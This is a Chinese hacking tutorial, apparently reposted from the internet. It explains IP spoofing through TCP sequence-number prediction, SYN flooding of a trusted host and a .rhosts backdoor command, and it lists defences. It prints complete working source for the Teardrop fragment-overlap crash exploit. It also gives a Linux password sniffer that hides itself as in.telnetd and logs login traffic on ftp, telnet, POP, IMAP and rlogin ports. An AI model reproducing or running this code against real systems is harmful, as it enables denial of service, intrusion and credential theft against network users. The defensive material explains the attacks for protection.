轉自INTERNET

第五章 

IP欺騙

  即使是很好的實現了TCP/IP協議,由於它本身有著一些不安全的地方,從而可以對TCP/IP網絡進行攻擊。這些攻擊包括序列號欺騙,路由攻擊,源地址欺騙和授權欺騙。本文除了介紹IP欺騙攻擊方法外,還介紹怎樣防止這個攻擊手段。

  上述攻擊是建立在攻擊者的計算機(包括路由)是連在INTERNET上的。這裡的攻擊方法是針對TCP/IP本身的缺陷的,而不是某一具體的實現。

實際上,IP 欺騙不是進攻的結果,而是進攻的手段。進攻實際上是信任關係的破壞。

第一節 IP欺騙原理

信任關係

在Unix

領域中,信任關係能夠很容易得到。假如在主機A和B上各有一個帳戶,在使用當中會發現,在主機A上使用時需要輸入在A上的相應帳戶,在主機B上使用時必須輸入在B上的帳戶,主機A和B把你當作兩個互不相關的用戶,顯然有些不便。為了減少這種不便,可以在主機A和主機B中建立起兩個帳戶的相互信任關係。在主機A和主機B上你的home目錄中創建.rhosts

文件。從主機A上,在你的home目錄中輸入'echo " B username " > ~/.rhosts' ;從主機B上,在你的home目錄中輸入'echo

" A username " >~/.rhosts'

。至此,你能毫無阻礙地使用任何以r*開頭的遠程調用命令,如:rlogin,rcall,rsh等,而無口令驗證的煩惱。這些命令將允許以地址為基礎的驗證,或者允許或者拒絕以IP地址為基礎的存取服務。

這裡的信任關係是基於IP地址的。

Rlogin

  Rlogin 是一個簡單的客戶/服務器程序,它利用TCP傳輸。Rlogin 允許用戶從一台主機登錄到另一台主機上,並且,如果目標主機信任它,Rlogin

將允許在不應答口令的情況下使用目標主機上的資源。安全驗證完全是基於源主機的IP 地址。因此,根據以上所舉的例子,我們能利用Rlogin

來從B遠程登錄到A,而且不會被提示輸入口令。 TCP 序列號預測

IP只是發送數據包,並且保證它的完整性。如果不能收到完整的IP數據包,IP會向源地址發送一個ICMP

錯誤信息,希望重新處理。然而這個包也可能丟失。由於IP是非面向連接的,所以不保持任何連接狀態的信息。每個IP數據包被鬆散地發送出去,而不關心前一個和後一個數據包的情況。由此看出,可以對IP堆棧進行修改,在源地址和目的地址中放入任意滿足要求的IP地址,也就是說,提供虛假的IP地址。

TCP提供可靠傳輸。可靠性是由數據包中的多位控制字來提供的,其中最重要的是數據序列和數據確認,分別用SYN和ACK來表示。TCP

向每一個數據字節分配一個序列號,並且可以向已成功接收的、源地址所發送的數據包表示確認(目的地址ACK

所確認的數據包序列是源地址的數據包序列,而不是自己發送的數據包序列)。ACK在確認的同時,還攜帶了下一個期望獲得的數據序列號。顯然,TCP提供的這種可靠性相對於IP來說更難於愚弄。

序列編號、確認和其它標誌信息

由於TCP是基於可靠性的,它能夠提供處理數據包丟失,重複或是順序紊亂等不良情況的機制。實際上,通過向所傳送出的所有字節分配序列編號,並且期待接收端對發送端所發出的數據提供收訖確認,TCP

就能保證可靠的傳送。接收端利用序列號確保數據的先後順序,除去重複的數據包。TCP 序列編號可以看作是32位的計數器。它們從0至232-1

排列。每一個TCP連接(由一定的標示位來表示)交換的數據都是順序編號的。在TCP數據包中定義序列號(SYN)的標示位位於數據段的前端。確認位(ACK)對所接收的數據進行確認,並且指出下一個期待接收的數據序列號。

TCP通過滑動窗口的概念來進行流量控制。設想在發送端發送數據的速度很快而接收端接收速度卻很慢的情況下,為了保證數據不丟失,顯然需要進行流量控制,協調好通信雙方的工作節奏。所謂滑動窗口,可以理解成接收端所能提供的緩衝區大小。TCP利用一個滑動的窗口來告訴發送端對它所發送的數據能提供多大的緩衝區。由於窗口由16位BIT所定義,所以接收端TCP

能最大提供65535個字節的緩衝。由此,可以利用窗口大小和第一個數據的序列號計算出最大可接收的數據序列號。

其它TCP標示位有RST(連接復位,Reset the connection)、PSH(壓入功能,Push function)和FIN (發送者無數據,No

more data from sender)。如果RST 被接收,TCP連接將立即斷開。RST

通常在接收端接收到一個與當前連接不相關的數據包時被發送。有些時候,TCP模塊需要立即傳送數據而不能等整段都充滿時再傳。一個高層的進程將會觸發在TCP頭部的PSH標示,並且告訴TCP模塊立即將所有排列好的數據發給數據接收端。FIN

表示一個應用連接結束。當接收端接收到FIN時,確認它,認為將接收不到任何數據了。

TCP序列號預測最早是由Morris對這一安全漏洞進行闡述的。他使用TCP序列號預測,即使是沒有從服務器得到任何響應,

來產生一個TCP包序列。這使得他能欺騙在本地網絡上的主機。

  通常TCP連接建立一個包括3次握手的序列。客戶選擇和傳輸一個初始的序列號(SEQ標誌)ISN

C,並設置標誌位SYN=1,告訴服務器它需要建立連接。服務器確認這個傳輸,並發送它本身的序列號ISN

S,並設置標誌位ACK,同時告知下一個期待獲得的數據序列號是ISN=1。客戶再確認它。在這三次確認後,開始傳輸數據。整個過程如下所示:

  C*S:SYN(ISN C ) S*C:SYN(ISN S ) ,ACK(ISN C ) C*S:ACK(ISN S ) C*S:數據 或S*C:數據

也就是說對一個會話,C必須得到ISN S確認。ISN S可能是一個隨機數。

瞭解序數編號如何選擇初始序列號和如何根據時間變化是很重要的。似乎應該有這種情況,當主機啟動後序列編號初始化為1,但實際上並非如此。初始序列號是由tcp_init函數確定的。ISN每秒增加128000,如果有連接出現,每次連接將把計數器的數值增加64000。很顯然,這使得用於表示ISN的32位計數器在沒有連接的情況下每9.32

小時復位一次。之所以這樣,是因為這樣有利於最大限度地減少舊有連接的信息干擾當前連接的機會。這裡運用了2MSL

等待時間的概念(不在本文討論的範圍之內)。如果初始序列號是隨意選擇的,那麼不能保證現有序列號是不同於先前的。假設有這樣一種情況,在一個路由回路中的數據包最終跳出了循環,回到了「舊有」的連接(此時其實是不同於前者的現有連接),顯然會發生對現有連接的干擾。

假設一個入侵者X有一種方法,能預測ISN S。在這種情況下,他可能將下列序號送給主機T來模擬客戶的真正的ISN S:

  X*S:SYN(ISN X ) ,SRC = T S*T:SYN(ISN S ) ,ACK(ISN X ) X*S:ACK(ISN S ) ,SRC =T

X*S:ACK(ISN S ) ,SRC = T,無用數據

儘管消息S*T並不到X,但是X能知道它的內容,因此能發送數據。如果X要對一個連接實施攻擊,這個連接允許執行命令,那麼另外的命令也能執行。

  那麼怎樣產生隨機的ISN?在Berkeley系統,最初的序列號變量由一個常數每秒加一產生,等到這個常數一半時,就開始一次連接。這樣,如果開始了一個合法連接,並觀察到一個ISN

S在用,便可以計算,有很高可信度,ISN S *用在下一個連接企圖。

Morris 指出,回復消息

S*T:SYN(ISN S ) ,ACK(ISN X )

事實上並不消失,真正主機將收到它,並試圖重新連接。這並不是一個嚴重的障礙。Morris發現,通過模仿一個在T上的端口,並向那個端口請求一個連接,他就能產生序列溢出,從而讓它看上去S*T消息丟失了。另外一個方法,可以等待知道T關機或重新啟動。

下面詳細的介紹一下。

IP欺騙

IP欺騙由若干步驟組成,這裡先簡要地描述一下,隨後再做詳盡地解釋。先做以下假定:首先,目標主機已經選定。其次,信任模式已被發現,並找到了一個被目標主機信任的主機。黑客為了進行IP欺騙,進行以下工作:使得被信任的主機喪失工作能力,同時採樣目標主機發出的TCP

序列號,猜測出它的數據序列號。然後,偽裝成被信任的主機,同時建立起與目標主機基於地址驗證的應用連接。如果成功,黑客可以使用一種簡單的命令放置一個系統後門,以進行非授權操作。

使被信任主機喪失工作能力

一旦發現被信任的主機,為了偽裝成它,往往使其喪失工作能力。由於攻擊者將要代替真正的被信任主機,他必須確保真正被信任的主機不能接收到任何有效的網絡數據,否則將會被揭穿。有許多方法可以做到這些。這裡介紹「TCP

SYN 淹沒」。

前面已經談到,建立TCP連接的第一步就是客戶端向服務器發送SYN請求。 通常,服務器將向客戶端發送SYN/ACK

信號。這裡客戶端是由IP地址確定的。客戶端隨後向服務器發送ACK,然後數據傳輸就可以進行了。然而,TCP處理模塊有一個處理並行SYN請求的最上限,它可以看作是存放多條連接的隊列長度。其中,連接數目包括了那些三步握手法沒有最終完成的連接,也包括了那些已成功完成握手,但還沒有被應用程序所調用的連接。如果達到隊列的最上限,TCP將拒絕所有連接請求,直至處理了部分連接鏈路。因此,這裡是有機可乘的。

黑客往往向被進攻目標的TCP端口發送大量SYN請求,這些請求的源地址是使用一個合法的但是虛假的IP地址(可能使用該合法IP地址的主機沒有開機)。而受攻擊的主機往往是會向該IP地址發送響應的,但可惜是杳無音信。與此同時IP包會通知受攻擊主機的TCP:該主機不可到達,但不幸的是TCP會認為是一種暫時錯誤,並繼續嘗試連接(比如繼續對該IP地址進行路由,發出SYN/ACK數據包等等),直至確信無法連接。當然,這時已流逝了大量的寶貴時間。值得注意的是,黑客們是不會使用那些正在工作的IP地址的,因為這樣一來,真正IP持有者會收到SYN/ACK響應,而隨之發送RST給受攻擊主機,從而斷開連接。前面所描述的過程可以表示為如下模式。

1 Z (X) ---SYN ---> B

    Z (X) ---SYN ---> B

    Z (X) ---SYN ---> B

2 X <---SYN/ACK-- B

X <---SYN/ACK-- B

3 X <--- RST --- B

  在時刻1時,攻擊主機把大批SYN

請求發送到受攻擊目標(在此階段,是那個被信任的主機),使其TCP隊列充滿。在時刻2時,受攻擊目標向它所相信的IP地址(虛假的IP)作出SYN/ACK反應。在這一期間,受攻擊主機的TCP模塊會對所有新的請求予以忽視。不同的TCP

保持連接隊列的長度是有所不同的。BSD

一般是5,Linux一般是6。使被信任主機失去處理新連接的能力,所贏得的寶貴空隙時間就是黑客進行攻擊目標主機的時間,這使其偽裝成被信任主機成為可能。

序列號取樣和猜測

  前面已經提到,要對目標主機進行攻擊,必須知道目標主機使用的數據包序列號。現在,我們來討論黑客是如何進行預測的。他們先與被攻擊主機的一個端口(SMTP是一個很好的選擇)建立起正常的連接。通常,這個過程被重複若干次,並將目標主機最後所發送的ISN存儲起來。黑客還需要估計他的主機與被信任主機之間的RTT時間(往返時間),這個RTT時間是通過多次統計平均求出的。RTT

對於估計下一個ISN是非常重要的。前面已經提到每秒鐘ISN增加128000,每次連接增加64000。現在就不難估計出ISN的大小了,它是128000乘以RTT的一半,如果此時目標主機剛剛建立過一個連接,那麼再加上一個64000。再估計出ISN大小後,立即就開始進行攻擊。當黑客的虛假TCP數據包進入目標主機時,根據估計的準確度不同,會發生不同的情況:

 

·如果估計的序列號是準確的,進入的數據將被放置在接收緩衝器以供使用。

·如果估計的序列號小於期待的數字,那麼將被放棄。

·如果估計的序列號大於期待的數字,並且在滑動窗口(前面講的緩衝)之內,那麼,該數據被認為是一個未來的數據,TCP模塊將等待其它缺少的數據。如果估計的序列號大於期待的數字,並且不在滑動窗口(前面講的緩衝)之內,那麼,TCP將會放棄該數據並返回一個期望獲得的數據序列號。下面將要提到,黑客的主機並不能收到返回的數據序列號。

 

1 Z(B) ----SYN ---> A

2 B <---SYN/ACK--- A

3 Z(B) -----ACK---> A

4 Z(B) ---——PSH---> A

  攻擊者偽裝成被信任主機的IP

地址,此時,該主機仍然處在停頓狀態(前面講的喪失處理能力),然後向目標主機的513端口(rlogin的端口號)發送連接請求,如時刻1所示。在時刻2,目標主機對連接請求作出反應,發送SYN/ACK數據包給被信任主機(如果被信任主機處於正常工作狀態,那麼會認為是錯誤並立即向目標主機返回RST數據包,但此時它處於停頓狀態)。按照計劃,被信任主機會拋棄該SYN/ACK數據包。然後在時刻3,攻擊者向目標主機發送ACK數據包,該ACK使用前面估計的序列號加1(因為是在確認)。如果攻擊者估計正確的話,目標主機將會接收該ACK

。至此,連接正式建立起來了。在時刻4,將開始數據傳輸。一般地,攻擊者將在系統中放置一個後門,以便侵入。經常會使用 ′cat ++ >>

~/.rhosts′。之所以這樣是因為,這個辦法迅速、簡單地為下一次侵入鋪平了道路。

  一個和這種TCP序列號攻擊相似的方法,是使用NETSTAT服務。在這個攻擊中,入侵者模擬一個主機關機了。如果目標主機上有NETSTAT,它能提供在另一端口上的必須的序列號。這取消了所有要猜測的需要。

IP欺騙的防止

防止的要點在於,這種攻擊的關鍵是相對粗糙的初始序列號變量在Berkeley系統中的改變速度。TCP協議需要這個變量每秒要增加25000次。Berkeley

使用的是相對比較慢的速度。但是,最重要的是,是改變間隔,而不是速度。

我們考慮一下一個計數器工作在250000Hz時是否有幫助。我們先忽略其他發生的連接,僅僅考慮這個計數器以固定的頻率改變。

  為了知道當前的序列號,發送一個SYN包,收到一個回復:

  X*S: SYN(ISN X ) S*X: SYN(ISN S ) ,ACK(ISN X ) (1)

  第一個欺騙包,它觸發下一個序列號,能立即跟隨服務器對這個包的反應:

  X*S: SYN(ISN X ) ,SRC = T (2)

  序列號ISN S用於回應了:

  S*T: SYN(ISN S ) ,ACK(ISN X )

  是由第一個消息和服務器接收的消息唯一決定。這個號碼是X和S的往返精確的時間。這樣,如果欺騙能精確地測量和產生這個時間,即使是一個4-U時鐘都不能擊退這次攻擊。

拋棄基於地址的信任策略

  阻止這類攻擊的一種非常容易的辦法就是放棄以地址為基礎的驗證。不允許r*類遠程調用命令的使用;刪除.rhosts 文件;清空/etc/hosts.equiv

文件。這將迫使所有用戶使用其它遠程通信手段,如telnet、ssh、skey等等。

進行包過濾

  如果您的網絡是通過路由器接入Internet

的,那麼可以利用您的路由器來進行包過濾。確信只有您的內部LAN可以使用信任關係,而內部LAN上的主機對於LAN以外的主機要慎重處理。您的路由器可以幫助您過濾掉所有來自於外部而希望與內部建立連接的請求。

 

使用加密方法

  阻止IP欺騙的另一種明顯的方法是在通信時要求加密傳輸和驗證。當有多種手段並存時,可能加密方法最為適用。

使用隨機化的初始序列號

  黑客攻擊得以成功實現的一個很重要的因素就是,序列號不是隨機選擇的或者隨機增加的。Bellovin

描述了一種彌補TCP不足的方法,就是分割序列號空間。每一個連接將有自己獨立的序列號空間。序列號將仍然按照以前的方式增加,但是在這些序列號空間中沒有明顯的關係。可以通過下列公式來說明:

 

ISN =M+F(localhost,localport ,remotehost ,remoteport )

M:4微秒定時器

F:加密HASH函數。

F產生的序列號,對於外部來說是不應該能夠被計算出或者被猜測出的。Bellovin

建議F是一個結合連接標識符和特殊矢量(隨機數,基於啟動時間的密碼)的HASH函數。

第二節 一個源程序

下面介紹一個叫Teardrop的程序,可以用來產生用來欺騙的IP包。

Teardrop:

/*

* Copyright (c) 1997 route|daemon9 < [email protected]> 11.3.97

*

* Linux/NT/95 Overlap frag bug exploit

*

* Exploits the overlapping IP fragment bug present in all Linux kernels and

* NT 4.0 / Windows 95 (others?)

*

* Based off of: flip.c by klepto

* Compiles on: Linux, *BSD*

*

* gcc -O2 teardrop.c -o teardrop

* OR

* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING

*/

#include < stdio.h>

#include < stdlib.h>

#include < unistd.h>

#include < string.h>

#include < netdb.h>

#include < netinet/in.h>

#include < netinet/udp.h>

#include < arpa/inet.h>

#include < sys/types.h>

#include < sys/time.h>

#include < sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING

/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */

#define FIX(n) (n)

#else /* OpenBSD 2.1, all Linux */

#define FIX(n) htons(n)

#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */

#define IPH 0x14 /* IP header size */

#define UDPH 0x8 /* UDP header size */

#define PADDING 0x1c /* datagram frame padding for first packet */

#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */

#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can

* withstand maybe 5 or 10 sometimes... Experiment.

*/

void usage(u_char *);

u_long name_resolve(u_char *);

u_short in_cksum(u_short *, int);

void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)

{

int one = 1, count = 0, i, rip_sock;

u_long src_ip = 0, dst_ip = 0;

u_short src_prt = 0, dst_prt = 0;

struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

perror("raw socket");

exit(1);

}

if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))

< 0)

{

perror("IP_HDRINCL");

exit(1);

}

if (argc < 3) usage(argv[0]);

if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))

{

fprintf(stderr, "What the hell kind of IP address is that?");

exit(1);

}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

{

switch (i)

{

case 's': /* source port (should be emphemeral) */

src_prt = (u_short)atoi(optarg);

break;

case 't': /* dest port (DNS, anyone?) */

dst_prt = (u_short)atoi(optarg);

break;

case 'n': /* number to send */

count = atoi(optarg);

break;

default :

usage(argv[0]);

break; /* NOTREACHED */

}

}

srandom((unsigned)(time((time_t)0)));

if (!src_prt) src_prt = (random() % 0xffff);

if (!dst_prt) dst_prt = (random() % 0xffff);

if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:");

addr.s_addr = src_ip;

fprintf(stderr, "From: %15s.%5d", inet_ntoa(addr), src_prt);

addr.s_addr = dst_ip;

fprintf(stderr, " To: %15s.%5d", inet_ntoa(addr), dst_prt);

fprintf(stderr, " Amt: %5d", count);

fprintf(stderr, "[ ");

for (i = 0; i < count; i++)

{

send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

fprintf(stderr, "b00m ");

usleep(500);

}

fprintf(stderr, "]");

return (0);

}

/*

* Send two IP fragments with pathological offsets. We use an implementation

* independent way of assembling network packets that does not rely on any of

* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).

*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,

u_short dst_prt)

{

u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */

u_char byte; /* a byte */

struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;

sin.sin_port = src_prt;

sin.sin_addr.s_addr = dst_ip;

/*

* Grab some memory for our packet, align p_ptr to point at the beginning

* of our packet, and then fill it with zeros.

*/

packet = (u_char *)malloc(IPH + UDPH + PADDING);

p_ptr = packet;

bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */

memcpy(p_ptr, &byte, sizeof(u_char));

p_ptr += 2; /* IP TOS (skipped) */

*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */

p_ptr += 2;

*((u_short *)p_ptr) = htons(242); /* IP id */

p_ptr += 2;

*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */

p_ptr += 2;

*((u_short *)p_ptr) = 0x40; /* IP TTL */

byte = IPPROTO_UDP;

memcpy(p_ptr + 1, &byte, sizeof(u_char));

p_ptr += 4; /* IP checksum filled in by kernel */

*((u_long *)p_ptr) = src_ip; /* IP source address */

p_ptr += 4;

*((u_long *)p_ptr) = dst_ip; /* IP destination address */

p_ptr += 4;

*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */

p_ptr += 2;

*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */

p_ptr += 2;

*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,

sizeof(struct sockaddr)) == -1)

{

perror("");

free(packet);

exit(1);

}

/* We set the fragment offset to be inside of the previous packet's

* payload (it overlaps inside the previous packet) but do not include

* enough payload to cover complete the datagram. Just the header will

* do, but to crash NT/95 machines, a bit larger of packet seems to work

* better.

*/

p_ptr = &packet[2]; /* IP total length is 2 bytes into the header *

/

*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

p_ptr += 4; /* IP offset is 6 bytes into the header */

*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,

sizeof(struct sockaddr)) == -1)

{

perror("");

free(packet);

exit(1);

}

free(packet);

}

u_long name_resolve(u_char *host_name)

{

struct in_addr addr;

struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)

{

if (!(host_ent = gethostbyname(host_name))) return (0);

bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);

}

return (addr.s_addr);

}

void usage(u_char *name)

{

fprintf(stderr,

"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]",

name);

exit(0);

}

第六章

Sniffer

  Sniffer是一種常用的收集有用數據方法,這些數據可以是用戶的帳號和密碼,可以是一些商用機密數據等等。為了對sniffer的工作原理有一個深入的瞭解,第二節給出了一個sniffer的源程序,並對它進行講解。最後的第三節是探測和防範sniffer的介紹。

第一節 Sniffer簡介

什麼是以太網sniffing?

  以太網sniffing

是指對以太網設備上傳送的數據包進行偵聽,發現感興趣的包。如果發現符合條件的包,就把它存到一個log文件中去。通常設置的這些條件是包含字"username"或"password"的包。

它的目的是將網絡層放到promiscuous模式,從而能幹些事情。Promiscuous模式是指網絡上的所有設備都對總線上傳送的數據進行偵聽,並不僅僅是它們自己的數據。根據第二章中有關對以太網的工作原理的基本介紹,可以知道:一個設備要向某一目標發送數據時,它是對以太網進行廣播的。一個連到以太網總線上的設備在任何時間裡都在接受數據。不過只是將屬於自己的數據傳給該計算機上的應用程序。

利用這一點,可以將一台計算機的網絡連接設置為接受所有以太網總線上的數據,從而實現sniffer。

sniffer通常運行在路由器,或有路由器功能的主機上。這樣就能對大量的數據進行監控。sniffer屬第二層次的攻擊。通常是攻擊者已經進入了目標系統,然後使用sniffer這種攻擊手段,以便得到更多的信息。

sniffer除了能得到口令或用戶名外,還能得到更多的其他信息,比如一個其他重要的信息,在網上傳送的金融信息等等。sniffer幾乎能得到任何以太網上的傳送的數據包。

  有許多運行與不同平台上的sniffer程序。

Linux tcpdump

DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、      Netzhack

上面的這些程序,可以從互連網上找到。

使用sniffer程序或編寫一個功能強大的sniffer程序需要一些網絡方面的知識。因為如果沒有恰當的設置這個程序,根本就不能從大量的數據中找出需要的信息。

通常sniffer程序只看一個數據包的前200-300個字節的數據,就能發現想口令和用戶名這樣的信息。

第二節 一個sniffer源程序

下面是一個Linux以太網sniffer的源程序。可以根據需要加強這個程序。

/* Linux sniffer.c 本程序已經在Red Hat 5.2上調試通過*/

#include < string.h>

#include < ctype.h>

#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>

#include < sys/time.h>

#include < sys/socket.h>

#include < sys/ioctl.h>

#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>

#include < netinet/ip.h>

#include < netinet/tcp.h>

#include < netinet/if_ether.h>

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

 

struct etherpacket

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

}ep;

struct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

struct iphdr *ip;

struct tcphdr *tcp;

int s;

FILE *fp;

#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"

int openintf(char *d)

{

int fd;

struct ifreq ifr;

int s;

fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

if(fd < 0)

{

perror("cant get SOCK_PACKET socket");

exit(0);

}

strcpy(ifr.ifr_name, d);

s=ioctl(fd, SIOCGIFFLAGS, &ifr);

if(s < 0)

{

close(fd);

perror("cant get flags");

exit(0);

}

ifr.ifr_flags |= IFF_PROMISC;

s=ioctl(fd, SIOCSIFFLAGS, &ifr);

if(s < 0) perror("can not set promiscuous mode");

return fd;

}

int read_tcp(int s)

{

int x;

while(1)

{

x=read(s, (struct etherpacket *)&ep, sizeof(ep));

if(x > 1)

{

if(filter()==0) continue;

x=x-54;

if(x < 1) continue;

return x;

}

}

}

int filter(void)

{

int p;

p=0;

if(ip->protocol != 6) return 0;

if(victim.active != 0)

if(victim.bytes_read > CAPTLEN)

{

fprintf(fp, "---- [CAPLEN Exceeded]");

clear_victim();

return 0;

}

if(victim.active != 0)

if(time(NULL) > (victim.start_time + TIMEOUT))

{

fprintf(fp, "---- [Timed Out]");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(NULL);

print_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [RST]");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [FIN]");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, ""); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "");}

}

}

main(int argc, char **argv)

{

sprintf(argv[0],"%s","in.telnetd");

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0)

print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL)

strcpy(blah, inet_ntoa(i));

else

strcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "Exiting...");

close(s);

fclose(fp);

exit(0);

}

下面對上面的程序作一個介紹。結構etherpacket定義了一個數據包。其中的ethhdr,iphdr,和tcphdr分別是三個結構,用來定義以太網幀,IP數據包頭和TCP數據包頭的格式。

它們在頭文件中的定義如下:

struct ethhdr

{

unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

unsigned char h_source[ETH_ALEN]; /* source ether addr */

unsigned short h_proto; /* packet type ID field */

};

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t ihl:4;

u_int8_t version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "Please fix < bytesex.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "Adjust your < bits/endian.h> defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述結構的具體含義可參見《TCP/IP協議簡介》一章中的相關內容。接下來,定義了一個結構變量victim。

隨後,看一下函數int openintf(char

*d),它的作用是打開一個網絡接口。在main中是將eth0作為參數來調用這個函數。在這個函數中,用到了下面的結構:

struct ifreq

{

#define IFHWADDRLEN 6

#define IFNAMSIZ 16

union

{

char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

} ifr_ifrn;

union

{

struct sockaddr ifru_addr;

struct sockaddr ifru_dstaddr;

struct sockaddr ifru_broadaddr;

struct sockaddr ifru_netmask;

struct sockaddr ifru_hwaddr;

short int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

struct ifmap ifru_map;

char ifru_slave[IFNAMSIZ]; /* Just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};

這個結構叫接口請求結構,用來調用在I/O輸入輸出時使用。所有的接口I/O輸出必須有一個參數,這個參數以ifr_name開頭,後面的參數根據使用不同的網絡接口而不同。

  如果你要看看你的計算機有哪些網絡接口,使用命令ifconfig即可。一般你會看到兩個接口lo0和eth0。在ifreq結構中的各個域的含義與ifconfig的輸出是一一對應的。在這裡,程序將eth0作為ifr_name來使用的。接著,該函數將這個網絡接口設置成promiscuous模式。請記住,sniffer是工作在這種模式下的。

